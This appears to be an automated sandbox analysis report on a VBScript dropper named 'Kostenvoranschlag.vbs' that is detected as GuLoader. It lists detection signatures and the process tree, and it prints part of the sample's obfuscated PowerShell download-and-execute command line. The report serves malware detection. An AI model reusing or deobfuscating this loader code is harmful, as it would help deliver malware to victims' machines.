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Windows
Analysis Report
Kostenvoranschlag.vbs
Overview
General Information
Detection
GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses ping.exe to check the status of other devices and networks
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 7260 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Koste nvoranschl ag.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - PING.EXE (PID: 7336 cmdline:
ping Horm5 zl_6637.66 37.6637.65 7e MD5: 2F46799D79D22AC72C241EC0322B011D) - conhost.exe (PID: 7344 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7400 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" " <#Texgui no Trave g astnderens Oppustes #>;$Nrtage nhedens='F orgrenedes ';<#Samlem appens Sle nderizatio n Forepale Kiloers B ulmeurters #>;$Skuld rings11=$V aries+$hos t.UI; func tion Blaak lokkers($K mnings246) {If ($Skul drings11) {$Koalabjr n++;}$Afvu ndnes=$Mal eficium+$K mnings246. 'Length'-$ Koalabjrn; for( $Kat ina=4;$Kat ina -lt $A fvundnes;$ Katina+=5) {$Tachytel ic=$Katina ;$Presarto rial+=$Kmn ings246[$K atina];$Ha rpalides=' Glaeder';} $Presartor ial;}funct ion Fritid sklubberne ($Fjernsyn sapparat){ . ($Fest sale) ($Fj ernsynsapp arat);}$Me llemstykke t=Blaaklok kers 'C mp MUnaboRunb z.awaiComp lAzuml Raa aWall/Amal ';$Arkipe lagers='De d[ UncNP edEDaabtUn .e.Fjl.SNo ncEMiljR I ntv PiniE. toCSyllESy ntPnervoLy riIafsyNOd det .olMK meaFavnnfr a,A RungHa bie KnorAr ga]Ingo:Kr g:AllesW. ipeBemacsk ftuBl,arSk ovi CentUn laY EstPOb seRAriloMu ssTTrypOPa ucCLageOTy p,lKerm Mi st= Hy, '; $Mellemsty kket+=Blaa klokkers ' Kors5Camb. P ls0Ande Paat( igiW RigsiSjusn InsdPolyo enrwMelos Cykl endNO verT nd Ga ar1Over0At ro.Mine0Un pr;Cha ,ik kW andiKan cnrnne6Ro, e4Re r; K g Pr,xheim 6Pawl4Feti ; ora G ou rCatavuneq :Peri1 Sem 3Adve1 Pup .M,na0Aabe ) Kli OveG Prd eWoolc Suppk Preo Uni./Afma2 Bane0 Fej1 ea0Skin0p reo1,ros0D amp1Sand H a FFlavi S ndr Ague D isfGorgoAb stx g n/Ma ri1 ave3 . al1Frem.gy na0Bes, '; $Arkipelag ers+='Hold [StanNGrou eA snTAbey .ProtS Prs Eoprec inm U TwyrKret ienertT an yRewrp Sed rSleeoAyli tGadeOProt CBaadoVene LDepoTTtel Y.ittpInte eToma] Sla ';$Furthy =Blaaklokk ers 'InteU In sS edE LunerM un- RemiaSpriG aikiEContN O eT rbe ';$Opvejni ngerne=Bla aklokkers ' ureh fso tBalltStab pStyls ati :Shet/Anno /,efowbejl w SubwFede .EpishHa d oSt,nt Out eKloalOuab s ecie,usk nBiseebefr cIndkaVarm . xplr Ai, oFasc/ Mul PAv neFami rLyknsRepr pStrieSnor cAnsatSnke iVituv Bes iUnu.s Ecl tHapu.Ribb sWienn ybg pUni ';$Ve llumy=Blaa klokkers ' Pseu>Adre ';$Festsal e=Blaaklok kers 'ting iL rrEMedi X,toc ';$K ua='Unfang ed';$Arkip elagers+=' thor:Unde: KdkrtPaloL RecosEnhe1 S bs2 Hom ';$Befjels ernes='\Co mmandoes.G re';Fritid sklubberne (Blaaklok kers 'Grav $Du,egTrip L ndhoClos bTredARe a LSuff:Dass BJuguA .ek lOutlA Med r ,udaEli OKonk=vrne $WageeBurf nPr.tvSpri :F rsAshiv PFi vpenso dfi,aaDerm TOtheaRega +ngle$,dsp bgangE Ny f IltjGren EReprL Ch s Fe ED va rKnocNRegn eL biS Irr ');Fritid sklubberne (Blaaklok kers ' Ci. $ torgSelv LB ddoFilo B indAKjru L Ko.:Sucu S ,raaOv,r LLsenmKonc eAitkdUdsk IDoubg alt ermNBamlI mruwN Fu G FormE elR. trasVrte=R ntg$shepOF e tpIlliv UbeEParajU nden AtoI OffnAbj gD espe LadrM ononMissEA ll . .erSf llePKanolR ali,almtK